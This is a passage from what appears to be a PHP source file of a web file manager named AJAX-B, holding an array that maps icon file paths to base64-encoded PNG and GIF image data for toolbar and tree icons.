  './AJAX-B/icones/Download.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gYZFBcFxCTDkgAABFpJREFUOMttkNtvU3UAx7/n0jZdt+7WrYy1a7fRjo1dmIFxEWrHUAMRlBBGYnzjzUtMRF/UxBh8IvGFF1+MhMjFGBMlEEENIsJkUbIxt9XBttK169gs56yX09Nzzu9yfCDxwfj5A775fD/C9R/uweGQQCmH0yEiX9BhWgSMMricDlDKUFtrVCeTi4c5tz8URam7rS1w8MED41oqk8Pqqgoll4focMjojAbR3RtGPL4Vt2fSuHk/hellFUeP7kU2O/FqOp3+LRTadGF4+EB3LDaC69d/eOXkyWM4eGQvtj/bC9MkEE2LQDcsGAYBAEwmlvDynubmoOfv4xcvXpoeHh4+H4l0923cGIQgiKiqqkY02jV648aNaKFUAWEc3OYQLYuCEAbCGCYnJ9tfP9J5mjH+MB4f/mp09Fjv4OCg4PV64HS6wBiDbXPs2LGj7ty5c3FCKIoFDaZhQbQsgqk/bgpzf46/UyqV7oXD4ffcbnetIACyLMO2gWAwiLW1VVDK4HQ60NGxCa2tgbcjLWJNPl8EpRSiRShM02yNRrs+HRra1UAIgWFUMD8/D0oZOOdobGxEqaRCEES4XE4wBgQCoZ6zZ7+IVioGCKFPr0UiEei6DkkSUF/fAEIIVFVFNrsM27bBGEN7exialocgAIZhYOvWbRBF+QPDsEAZexq7s7Mzu7ycOa8o6/D5msAYA6UUU1NTsG0b5XIZS0sZbNjQjGJRw8rKY3i99bBtcSQ+VF/DKIP04oHjsEQXZLtcIYS+5vf7kcvloCgKstksCKHIZFYRjW6GppXgdjvh9XqwvLwKVVVdDx/OlhcWjNuiaRJYhGJgYODnZHJ+TtctBAIhCIKIvr5BNDS0oLnZB0Gg2LJlM9rbQ2htbUG5XMLQ0F5kMisvvfXmTlmKjxxFXWMtlKLFiP7ELUnSC01NfgSD7bAsArdbRk9PFE1NPkiSCACQJAmqmsf6uoZ8vhAwjNLdf40qFROhUOhSMrnATZNAURS0tbWgv38LnE4n/ktPTwSK8gThcBfGx38/LBKLwjQJSpqOmpqax4WC+n0ul4PHU41CoYj/Q1HXced+GQwSZmYm4Pf7fpFN6+nIc8/49xmG8X5vb99IKrWIujofvN4qEELgcDgAAMSqYGK2iES2Bro6j2tXvpwWBfv0qVOnrgqJRCJWqVQ+4ZzvFgRBcjgcGBsbQ3//bni9bng8ToTCbXiU0XB3FjANHTN3zqhLyekL27bv/Ojzi5PrTzJ5yJqmfSeKYr0gCAAASikCgQBWVtLw+QbwKJXB3For1tQqZOe+Rirx0+2FxdSJQ4femP/2x1sghIBzDtm27c8kSTpBCPGIolht2zY6Ojpw+fIVyLILhFgo2tP46943+amJsdFdu2O3ol37rUpFg14qwdR1MMYg7H/+Xei6gQvnT7YoihKXJGkfpbQrkZjdY9suIZNZIuPjv34ci8XOXL2aLnFug3MOzjkWFtPQNB2cAf8Az8dU6ahdcjUAAAAASUVORK5CYII=',
  './AJAX-B/icones/E-mail.png' => 'iVBORw0KGgoAAAANSUhEUgAAABMAAAASCAYAAAC5DOVpAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gcfFhgm+lQMLQAAAz5JREFUOMuNlN9vk1UYxz/nvKerlK0rpd1WVhxqxqSTZEOzGZcsGky8YiqgF96gF3jDhRcmXpH4dxgSFDMWDLggkYQwTbyQKSrDyA0yh3XUbdSuTX+37/uec7xot7gocU9ycp48P755nuec7yPYppw8sbgXeBM4BowAFrgPTAMzZ84NPhDbABHAIHAW2AVcAW623cPA28CvwCm1jaL2ATPAL8DpM+cGV/7hu3zyxOJn7eo+EBcu/Nyfz9eHGw0f3wetDcaA1hbPQ+ZWe97VWg517cqe9lwVata6XzXGeUYI7ztr1LATqF40flfFWvmhaja92dHR3jHft1gL1rZuYyylEtz4BlIHLb2Jvtkfv4eKgt4EZJaDBxp1ePmV7vHz079fikWeiKlstjw2NXWASGTnv/q7favCnXCB148myGRcfriR49R7Pex9PMj0J3+xcKvCiy/F+fqr3HFpWJGBgKJed8nlyli7FaxaMSCgK+xQyPs4jqA/GcQYWM95xHscajWD7+4kulssKCEk0WiY1dV1tLbEYuFNUCHBaEu1YgiFJOWS5uqVAqWiz2+LdfoSiplPywiheXZczUkAKSXJZJx8vkI6nafpQrUGO0IK17Ms3XdJJHcwlAox/22Jaq1BLO6glMNzY53IjgLdEVlVrWGDlIKBgR7u3v0Tz7PE4lGi8cfo7FTMXSvwxlt9vHY8TiaTBeuyZ0+SStnQnwxyaVYDIK0FX4PWIKVi/1CSlZV1/khnCQQk4xNR8jmPi+fX+PKLNMvpGoX1bs5+9JDLn6+jdYsKAMpa8H2wzsbYHUZGn2R+/h6VqkdyoJ8jR+PMXVvlp5sWtwndkTxPp0I8PxHG12yiKWPA81qtbogQikOHnuL69Tt4nqBYrLE/VWPihRQIgSMFHUGJUmJLrtQamk1oNLYeIYIcPjzC7YUlSsUSk5MHCXQECAQU0nHwfbEZu/H6SmuoN0DK/6Kl4sjUONJxaLrykeTV7cqUr1vfQD4yNggami7/D+Z6muUHJaSULW4CtPnZVtu2Dd1u6tDicLHolhxHrqndUfVxeuneO75n0Wbr1jAatLFo3UrSGow27TiLMa3F8HCt9P7kZPLq3xTip/s/8AxGAAAAAElFTkSuQmCC',
  './AJAX-B/icones/Edit.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gYZFBEg2XqwUwAAA8RJREFUOMuNlF1oW3UYxn/nf04+Tz62JmmTNm11S+fWuQ0cSscuN4buZkyvdKCITAaiDISxMtGLsTvxQgRx14K3gjCG4j5YK7WEfZpkWYlL1nbtmjTNd3JyzvkfL6ZDB05feO9+z8N78T6P4jgO/2cyp06rroB+VlnfmG7n03g+fuV86IWPPhwZG+sDaM8Sz8wXT1u27MWj3svhyR1veOrNaXV2nkBlDaNffb8xM/vlyFtjmWca/fBTbnp7auhsdMCnLucfNJVmW3enr2Pn7uH/ZIKl9CMGkv0nvPbrjaVUpdpVRxOhD2pNg1jE/65QCOzeMUynZ/IoX8Q9dynoWVzCnplDHI6yaDeQzX2Xt773TuYvI2Vppe4A+DwuXJrAsmwsS2LbEgVY/e5blJ9/xMjmiEXBfWaC4sU4gROfrdd79nyz1fv88IHtl4TPoxH0uxEKWJaNlA6KAkIomItFYphQrmDUalR9kvzVHvET0ySGN0de2jXymmlZF+fTt0+KSrV5V1UFQihPVlEU6Laxr11BXyiQWC2zSXNRzbTotvawZrkxTJt8oYxjrBLUXbdEtdb6yrLtfxgJoWBcTxNst5FXZxBS4lY1Qm8eY9eZU2zbEqHXl6ysVtGDkcuNri8jBsKucK3RQVUFivLnRbaFnc3gXLqKbDRp2xbNnZMox04gcdFsdPG7Ffbt3cLuF7cdMkxxQwvq3nNC05BSoqoCKSVmo4558xZ2sUTHtiiPjzFw9hwNn0Mmdw/d58Lr9TI0NEgkGqJSXh3WypXyN44j3vbrId9YcggQqH6VWvV3Kv0uKzt30Dn6OuW5Wer1Gp2ezWBskIlUilRqlLl0gZCvV1EcxyGbzaU0t76QHBlCFSq9zjrpC1/wW96HHQrj9evE40OMj4+zadMAy48M9uxMslBcZ/lBrrH1+cRhxXEc7heXvh9NJo602l0Cug8pHTqdLqZpYVoS03LoGRaG8fg9YpEAra7JnTu3SMYDL09NTaU1AMPohQv3H+D36xj9Po4DUoIjQQgNn1fgdbux/Q6aJpCKws25m6TGB74eHIxdBxAAAd17tFnfmFp5+PBCsfiQvukQi4SJRcPofg+qEI/zpAn8uodrv9wmtpnzXq/n5OjoqARQnq6RUqm0d3F57Ygt3cej0Ug8ORLF41Lpdk3cbo0rszmC3mZpYmLrgUQiUXiStX/ro0KhkNiotY9vNKxXg6HwvuRwjNLiGhuV0tKW5xIHJycn83/nlf8qtmw26+107YONtvVpv9caCeri0P79+zNPc38A8G+/aAQY77IAAAAASUVORK5CYII=',
  './AJAX-B/icones/EndDirMoin.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDSch7GGQgwAAAHNJREFUOMvdU0EOgCAMo4ZveeEx7JXsIA+rF0NMxInIgbikFwZdoQUk3YharKaINE+BpQiAa1VsKoox9inSrI8HwxpQW/eVjbckmrXvasNc+0wE4IJzJACUaJSIkCxIW6JVR9/VMN8b+TcWd3+Reez/B9EOfDxgqAAL/2AAAAAASUVORK5CYII=',
  './AJAX-B/icones/EndDirPlus.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDScufN6NEgAAAH9JREFUOMvtU0EOgCAMWw3f8sJj4JXsIA+bB2VyQATEm02WEAZbl3YQEZqBpZb03jd3QY0RAGplXGXknBtjxJEfP9rVonRvCg9vi3DksdEAzFHttfwAlE1+TpYAoNZQi4iIRtiC5DjSF848leLb0RJ61sf0SDy8ItNG+wsREdEOyYpgqP1kM60AAAAASUVORK5CYII=',
  './AJAX-B/icones/EndFile.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDSYx6M2xpgAAAElJREFUOMtj/P//PwM1ABM+yfT0dKJtYcTnIkZGRgZiXYzXRWlpadRx0eALowFxEcP///9xYliA////H4XGJk4fr40aNGoQkQAAhoxGsFi4otgAAAAASUVORK5CYII=',
  './AJAX-B/icones/EndLoading.gif' => 'R0lGODlhEAAQALMNAD8/P7+/vyoqKlVVVX9/fxUVFUBAQGBgYMDAwC8vL5CQkP///wAAAP///wAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJAAANACwAAAAAEAAQAAAEPbDJSau9OOvNew0AEHDA8wCkiW6g6AXHMU4LgizUYRgEZdsUggFAQCgUP+AERggcFYHaDaMgEBQchBNhiQAAIfkECQAADQAsAAAAABAAEAAABDuwyUmrvTYAEDAFzwN4EyiSksaRyHF06GEYBNoQ82EHBwHbCIUCYRMKiwSCYoFALDCIwLDZBFJtTKclAgAh+QQJAAANACwAAAAAEAAQAAAEPrDJGQAIM2vwHtAUcVTdBzaHYRCKip2EepxacBAvjSgKQmc83m+iILCGEkSgh5wsEIhFEwqdUpvPaHPLnUQAACH5BAkAAA0ALAAAAAAQABAAAAQ+sMkZyAkz62MM0ROiKAjRXQCATeOIHEQAPA+QKQShZHOdIQFSRqaSLBCIBQiERC41TcQzc0xOr9isdsvtPiMAIfkECQAADQAsAAAAABAAEAAABD2wyYmUQjNra/VcCLIoBKEExBFkYRtcBGAQbJsdhnFkoMimGI8wAACshBnA4wFAJpdNp4RolFqv2Kx2q4kAACH5BAkAAA0ALAAAAAAQABAAAAQ9sMm5EFoza2u1b5ylKMjXVFdAjGamrEo7IWMpz8QR3A0BGATewWA48BA5mykAAOxugMcDwItOeUwnb9uKAAAh+QQJAAANACwAAAAAEAAQAAAEO7DJSau92C6EVp4c90khMjZbd5KKYo4B0Z4KIZ9I4H7IQQSng8FwwAQAgJgBQMAAHo+kD3h5Rk/HpCUCACH5BAkAAA0ALAAAAAAQABAAAAQ8sMlJq7046827nwuCLJwoliYXjlIAAAGFKApCAc8DULQSTzgd4kCYEQgKigt2MBgOC5rtQnAeOAHilBIBADs=',
  './AJAX-B/icones/File.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDScJ2dQ4eQAAAE5JREFUOMtj/P//PwM1ABM+yfT0dKJtYcTnIkZGRgZiXYzXRWlpadRx0eALowFxEcP///9xYliA////H4XGJo7XIJgiYvBorI3mNWqEEQBa15BtPHYtLwAAAABJRU5ErkJggg==',
  './AJAX-B/icones/FindFilter.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gwJFRYJz+Kb8QAAA0tJREFUOMuVkltsU3UAxr/zP5eeXs6t62Xt2NoiwamDOZxDzJxGAaNGM/ESTXjSJ3lUH3zQ+AJPxBvGxBgTH3xykbjpEkTFqYGAy4RloyDrbOnWtUDXe89pz63HF0cw7kF+b9/D98v38FH4h9Ubq/25XO7NZkN71Wp34OEEgOp8rwS8v0qS9GGsN962OjXBAQSWSPmNHgUAswsX704mkycXLya3uDg3ukQ/OMYFraUjGAqity9aj8d7Frw+7/OhAL3OEsneEDAAYJrOdL2JLaNjz2JwYBtkiYXatDE5dQ7ZQhONdkPU2qXRcNj8jpDoEQBTNwXp/LVXlpau9YXC/ejyJ3DmbBE0saGpKhqaB5bjxfWSCsOqolSu3+/YzkelirnYpbBpAGDWVgrvwPHRi/NXcOWyDkJ4yLIIjvMj0uODDRq6VoFtVlCtFrG8fDUm+NjnABwFAEataXGPEIQkCbBsAn9XEIoiQxRc4N0UQAOW4UFL86JcNKFqBeQLuUONlnZMcHt0xut2Vau1nJzYKqJcsyCKJvwBAlmiIPgAlgX0NoNmnQPPynBxAgy9HLEs6wkAk4xh1A5ns8tHff4gFezuBkWqAOHAugLweAgUCWi3HBDHAUd74MAA6++uUhS1BABk1/DOLyPRQCOfS2Etm4RWz4Kl10E5JVhmFZVyCfV6CYQxYXV05FZXwPPuj2WfcOnmD+YW5kfS6fTJVColN5tNcBwHSZKgKAp43g2AYL24DrWpYc/u3X88/NCe4X/9YHjnvbOX/0o9xTDMW1czmafT6TQymQwMw0DHNnHXtgS8HI3eUHA5ppCDuAXq1jA3f4FXVXWo1Wq9kc/n91VqVZGhOvCghYjIYf730xgY2HHh0cf2jYvbx1b+I9igULzB6Lq+taGqLp4Fzv889blZXhlJRP344ccZ7H3yhbnR/eOPU0qszGwmiARDFoCljTxz/JMjM2f//CoqD/IP3DeE6cnjQy2dHAJweNMFm/HtZ++eOX3qxIMHX3oRs7MLWLveMA8cePn1/y249NtE3/TkN7/QtpEYvPMeHHv/U8Tv6Mdtcf6nibdfGx9zHumRnBE3cca3x5zbEjiNcvyLD95L7QiHnWd2DTvnJr4+8Tfr8GEL9ke5pAAAAABJRU5ErkJggg==',
  './AJAX-B/icones/Infos.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA0AAAAOCAYAAAD0f5bSAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gcBDA8J9XGz6AAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJTVDvZCVuAAACSUlEQVQozz3LuW8UVwCA8e8dMzuz56wXG9YcNlhEQRSkxdRR6JAiRUoPBVBQUVMieiQKKqT8BWkpkIUEBRE0RoqwhbACjjfe9U5mj9m53nsUHJ/0lT8BsLX1RgSd6MZKr/XQGluTSmKRZIUhnsydFOJBuiju/7z5wwxAvny5rSeT+eXDwejaYJjoeZaTLnKqvKAVenQ7DbHSa99pNcNbT1/sRAB6b+/gnPOCB1F/ZbO1dlx1Q42zjjhJyZIpUmk63UbDGHu3rKrqz2fbj3U8zX9Xx/ubUW9VlZ7HXAAKymabydTQKed8PIgZJ+nKUZzcO9aWpc6N/C23XRVOFdqDtAYOSAvBrAxQxZxuWxMGPoGvIl/ZX3Rl7LFFIZhODN1AoiqoLMwyx2QGTVfRtl9QGPgIkaPzNH1bd9MTS/VllpvQDKE04AwsTIZWFZ7WaMD3NdIVSFktHtnD3UmtPGK16zgdwWrbEflzGtm/tAJJWPOo+Rrf0wgpUNev3xzP/k8a0/H4fOBRF1nGeBQz2NsnHQ2puZiu2keEfRZZASbfkVeuXDqsefJ+r+0/WYzi6v3uJ8aDmJPLEas9jTd8RmRfoY+eIzAIIdDr632A0fbOwduNU0smL602DoSQJF5MNtjFN2ss1d8x/i8hr19A8jUppfN8jef7aK0RQtDoX0D+eJtPf79HZUPOdD6wnL/o6W/ImIp/9odkRYW17svOYYKzJM1fyV7/wfrF84hC/PQdhboajg4HNs8LvuccDlBL5zjKr3Lw1zb2xMbkM5btEwFiDNOXAAAAAElFTkSuQmCC',
  './AJAX-B/icones/Loading.gif' => 'R0lGODlhEAAQALMNAD8/P7+/vyoqKlVVVX9/fxUVFUBAQGBgYMDAwC8vL5CQkP///wAAAP///wAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJAAANACwAAAAAEAAQAAAEPbDJSau9OOvNew0AEHDA8wCkiW6g6AXHMU4LgizUYRgEZdsUggFAQCgUP+AERggcFYHaDaMgEBQchBNhiQAAIfkECQAADQAsAAAAABAAEAAABDuwyUmrvTYAEDAFzwN4EyiSksaRyHF06GEYBNoQ82EHBwHbCIUCYRMKiwSCYoFALDCIwLDZBFJtTKclAgAh+QQJAAANACwAAAAAEAAQAAAEPrDJGQAIM2vwHtAUcVTdBzaHYRCKip2EepxacBAvjSgKQmc83m+iILCGEkSgh5wsEIhFEwqdUpvPaHPLnUQAACH5BAkAAA0ALAAAAAAQABAAAAQ+sMkZyAkz62MM0ROiKAjRXQCATeOIHEQAPA+QKQShZHOdIQFSRqaSLBCIBQiERC41TcQzc0xOr9isdsvtPiMAIfkECQAADQAsAAAAABAAEAAABD2wyYmUQjNra/VcCLIoBKEExBFkYRtcBGAQbJsdhnFkoMimGI8wAACshBnA4wFAJpdNp4RolFqv2Kx2q4kAACH5BAkAAA0ALAAAAAAQABAAAAQ9sMm5EFoza2u1b5ylKMjXVFdAjGamrEo7IWMpz8QR3A0BGATewWA48BA5mykAAOxugMcDwItOeUwnb9uKAAAh+QQJAAANACwAAAAAEAAQAAAEO7DJSau92C6EVp4c90khMjZbd5KKYo4B0Z4KIZ9I4H7IQQSng8FwwAQAgJgBQMAAHo+kD3h5Rk/HpCUCACH5BAkAAA0ALAAAAAAQABAAAAQ8sMlJq7046827nwuCLJwoliYXjlIAAAGFKApCAc8DULQSTzgd4kCYEQgKigt2MBgOC5rtQnAeOAHilBIBADs=',
  './AJAX-B/icones/MiniMenu.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA0AAAASCAIAAAAPCcNlAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggCEiIwDAPXSgAAAhxJREFUKM91kbtuE0EUhs/c1jv2riNbGmc2FwUQRHKUWCSiCUrBI6Si4qXS0fECiJIitYWcJhEYS2kSeTexkC9oE6293h3vzFAYBYTCV3/6f/3noJOTk0ajQQiRUjqOA4/R6/WolPLg4GBzczOO4yzL+v0+ADiOgzFeLBae5+3v7wMALXsr0aSA7Nv6s2a9XhdCKKW01qVSyRhDCFlGYo+76cwj1x+Qns7n8yRJMMZFURhjEEKU0qVHXZcdytEMvXMq4m40nkwm3W43CII0TSmle3t7QRAAAEWYmHKDff2ia00ppZRyd3cXAKy1AIAQ+p2XJMlt90J8em9bh1mJn56ecs6VUp7nZVlmjBFCAABqt9vBxpOa79XqK9ZapdRsNgMA3/eXqQih8/NzWmhzNcxrCdkpV1Q2TdNUKSWlZIz9fUKMEaq5+Xj8g2Dkum4cx8Ph8GHmAxQT8rRcERdt581LY9j29nae5494Ruv0ph+/eLWuzfX1VRRFl5eXQohWq9VsNv+InU4nju/CcGD/T6fToVrr29uBtVjr1TiOwzBcLBbVahUhZIxhjCmllFLYGFMU1uE+AFSrVdd1OeeMMc45xng8HmutHceh0xx9zNee08/P4K0xZmtry/O8f0acnZ1RzmD1ZvLzu7hfU8n9KIoia+18Pvd9PwzD4+PjSqUCAOTo6PXOhkPtDJnp8vfLUq21EGI0Gg0Gg16v9wvq6SIcbuugWgAAAABJRU5ErkJggg==',
  './AJAX-B/icones/New.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAASCAYAAAC9+TVUAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggDDTkwCvOf+AAAA7RJREFUOMuNlEtsVHUUh7///947pXem1IEy9CHv2kJUCkQhmPgA40ZAYmIMCzUqC3TjhogEwwYhwRgDEYmKiogRVxoNgibykqAbeZYWKC3YMtPpvB+dmfuY+3KBr7pQT3JWJ9+Xk5P8DvzP6r2S3nahL+XtPnTuuW2f9Df8fab+F3z+8mhHWG/4rKO1+WFAfn22ekBYqUbgg9MXs/LIT5mo/DfBpf7kEx1tzRfmzpy6QgpFqoqke06LSBSCR977Zrj9wPejO7MlLyH+AI5eNcL9Y/XlocDJrekkI6XyZqwl8nRDSAu5Lriuj+8H3Ezb7Pnqutsea7JLVmO4r/cW6nfXLZEoe4+P1XhjyTx90WjWNHWdaku0KaYoAs+DILjdyWKdM4MVGqOz1cuJimpakpD0UYdL/obu1tA7c1oVza7UWdoySY/oIR3+go26z6mBKsM5MOzp/JrzyBZNZF1jqnQzUhH+fbNiquZXDOY1a0T00IS7uB4cvWZg+mFMZzKpAkQjgqrZRKUS4PlBXdYcMdfxAvIVD9/3JwiCAKq2jxeolAyFugOeByIQ2IaGaQU4rjDl9CbxgNQEptJAoWxOkBQNn+ODJpFJGq4HdQfypYCReEBIkXS0QFvUQ2aK9X1Vw8fXNOIl5/YGwKWUx/Fhh9gUHctRqBgQz0A6HyACn1U9RV5bk2NqxHNltWbtGU7Vy76UJE2VmmFzo+CTd2B+RwO2K8iMw2geaga0pgdoS13mqWVleofyxNOVXpEpVsX+s/aHyxZOWZ/I1FnabDHq6cxpV8mW4UoCbo5CMQ+doXFCxc+xrTh9qVVu0+TUiQUzxAsyFo0ElXHzrVTGrLuKxmDWwfRAAEUTKiZ4g3la00PEL9xiSc9pFi88g5WSNa3Wfdfpk/duEQCHf0kqV3PKR21zpz1fSFeZMU1j/sxJDCRhlg5b1v/IKy/vpbsrz50dNwh8g5H4PPr6w+x69yUkwJr7272BW+UdRsEol2jE/z2Zj86Cha0Bz2zoCvYdXG1nMyU0pYSq2Fy/lmP/p4+NrF7bs/3PAH68oWtoZDh3KKwJoiFJpw625bLry6Hssd6Lm1Vl6fZE8m7GUoJ0GtKZFsYyK9/f/GrX1gmvIJurbJVabrkWu2PRmWvjwRfHBr9tsFMbn1zkDZ0se3lF3GTT6886QsDKh37QFsxPbzp/jp3in/Ffu+PSis7Z4YNWPrn7wVhy77p16yyAF9f/XCjk49F7ehZvjER0Tp0497aiTi4eObxiym+ecNjLFP+6PgAAAABJRU5ErkJggg==',
  './AJAX-B/icones/Next.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDg85oBYYJgAAADhJREFUOMtj/P//PwM1ABM+yfT0dKJtYcTnIkZGRgZiXYzXRWlpadRx0eALo9FYG4210VijWhgBALFYN8wzqJ87AAAAAElFTkSuQmCC',
  './AJAX-B/icones/Paste.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAATCAYAAACdkl3yAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wcBCzUlLBPEUgAAAtRJREFUOMt1k01vW0UUhp+ZO46pHWzHFY5bqNO0SmklFo0UqcCuG9Rt1W3oBiSEumBLV/wPNiwqlkVd0lZiQyRgwQKaQgRSSQVtWsd1HNv3Xs+dLxYXnDh2jjTSjEbnOe97zozgUNy9+90l7/235XKpJSWEAINBwvJy8/vFxeqNVuvMLseE2P/z4bqNX35imJu//0vp5JUr75xZWmoCAoA01Tx48ANnF/b/ON/IEhGVNuJ4+PnSezfjwyDVefzNnerZeRJfY25ujXL5NTqd/YlqS0un6O08vlB8vc/uo63Lpn5NtNvtzxqNhhuDtHvOwqX3sR3P7/f+YjhMp2T3+zFvr2jmWydIBzX+fpndqjr3K/DlGJSOLMEkLMzDx+vPgGcze1CpCLwWmP2YkTYYYybuVZxY/ChFAM36ZHJAEpDjk+1b9NBgrZgqpOLY4nUyU0XiLmLVGgDeB5y22FMpdAtkmb82YS1JjgdZKlQXV1GqAASc81QallePnrC3l17f3v7nTqVSulWv1/vKaIvP0v/Vg/MEFyAEnEoRQiClAAQhgBCSQkGxsvIWm5tP1ptN57vd7qfKO4vTCVgPfQ3aEkL+jGw1yfdHIsssOzuvsBa2tp7fXF1tbSq8xQ+HsJcSrJ9IcCfMTMvnzp0mjjXN5klevPBorb9QwRp8p0cY2akEl2UzFAWiSFEsBpQKCCHx3peVTzSuPwLPMaCcZK0jyxxaW7z3SCkJwY8LqZAZfJrNtOCMwfvAaGQwxuNcXi1vPoD8b0KgtImIB5pCNN3VbJThnEcIOZ4c4weaQ8eK3lj7kPs/fU0Upv9Y/bJiGYgigRC5ghD8FAxAvXv9ow96V2/czoy5Go50djAISCmJInkoSSLEAWysqHn6zYe9Xu9n59yFo6CnT/e+Ai7mtiZh+V4eKAKo1Wpd4Mej1jY2fou3t3cpFhXO5V/kYAWs9bTbfVqtEv8CZ3iQL1vocCkAAAAASUVORK5CYII=',
  './AJAX-B/icones/Ren.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gYZFRYKTEKFdQAAALFJREFUOMvt1LENgzAQBdDv6IZAyEqLlAYkj+AqQ7hgDmrmoGOF0LADMyToZHY4cSmyAFguKPIHeDrp659RVeTIDZmSDTIAHk3TvIjongKIyHtZlqep6/ozDIMtyzLpEmZG27YrEZEtigLzPGOaJlRVha7rDkP7voOILJxzysyqv/r0bJhZnXN6vdb+0AloHEeEEND3fRJEIrLGGK33Ht57AMC2bYeBGCNEZM23tcv9oy8OLn41mgqUYQAAAABJRU5ErkJggg==',
  './AJAX-B/icones/Setting.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gcBCxgUlrtNIgAAAjFJREFUKM99kk9Ik2Ecx7/P8/7ZfN+9e7cxpzLdwqxkJWYZBJE3b5EhRHWI8NpBOnTw1qmioAzpVpduHSIFi2JEGWRk0SBoloFO08xNNzff7X3fve+e9+0QHZTm5/7hw/fHjwDA7OyCrGn6tXA4MCwIvK3rxmS5XLnX23voI+pAASCRaK9YljVhWdZ8KKT6otGmCzzPj01Pz0TqiuPjby4nk+/aVdUzk83mb66srKGhQYSqKkdLpfJAXTEQUG6Jomc0k8mdYAznAgE/qlUblFKeMWewnsi7rotIJHS6VnP64vFmhRACTdOxsVGEbVlk9cNDP+fxVZp6zrNtxVxu87Gm6bVYrDlAKeXKZR35fBGGUYVUW95r/H5+o5h51f3lxRjZVjRN4/7cXOagLEvHFMXHEwL4/TK87ibCbLxDqi7Fy1xbt6t5LgJY/CcSAEgmpyJra4UBx2GDlJCgSvOd+7kJtdVOwevY0BUFq2bH55IdG0KwJ338zLBDdo7+8elltPj10e2olDrbIhkCIQBzAI142K9CdKpgtI5ATaS4neKVoVO6tv5zwTSdLjWox8SQF1QSIBJGRVppM3SnQzf4FPnfqaefjpHq+rd4g/P9SWdn4bAq2RxZLcHdMrEJmc2aJ18T7MKzO5e6guLi6L7QSl9YqAikqKNKebzX+/++XD08LUfS2a3oSHq+8W0uR5nhcFjakGEIbcu7FgFg8sF1aq5nEjLV7hKX9du+Pctc44GrfwAE2O2NB2qdhAAAAABJRU5ErkJggg==',
  './AJAX-B/icones/Sup.png' => 'iVBORw0KGgoAAAANSUhEUgAAABMAAAASCAYAAAC5DOVpAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gYZEzQPnxdLaAAAA7ZJREFUOMuNlFloXHUUxn//O/fOlrmTTCbJZJmhjaOTaRKbWDRaC0VbqiWPqaD4ID5ojfigPqgPKrFIKy4UFR/E1hcRccdWcKngQgguaO2kQ5ptJDNxLJlkbpZZ7+QuPgSjwVr7vZ7Dj/NxzneEbdtcib597TDbe27AKyksrxVYyMyy96FXNutCCKQrAX3z5giAFzgF2MAFIDZ64hnee+7hzT75cpDvPn4HQ5tDEvR3dMROhOoi1wulnnqXHndVOTe/kn8LeOTzk8erAOK/bH7w6ku0hNtlQ5t7fJta91gktK2hUrNwVnRcdo1qTaeyusz4Yialt0SfXlzU3v0XbCKZ5NcvPsPplK5uUMwPe5oDfQGPh1KhjFqtgFVmtVTBWygj9DX0iwtMpGdING8f2WJzfHwcWZJk4HCj4PmBjpBPz2Up/TJNfW6O1fUVVhartJs6mq2Tz5fodHvYXVfHWmvoyOZkY2NjqKralTl/9ug1in0oupZl7utP8E1P0Ois8oewsdag1Q1pC6Sag6ti3SjFAvye5suDd29sc3R0FGC4Uql81b93/yHd5aV45n2iqbO0OipUbBtvGcJ1kLKgXm2m66Y9KAsZyM6BaSNL4BgcHGwwTfPttra2R5uCwUA2m6Uou8nGd2P4/Hi1DE6jhtspEJKDwLUDBOoDMP4jlCtggmEJ0j39OIaGhs709fUd9Hq9UiadBsDlcuFW/ZQ7d5KL34xk6VhYOG48gHv2POK3C7Bugwklp8JPu65D2nfnqPj09Gk7HA4jKwqW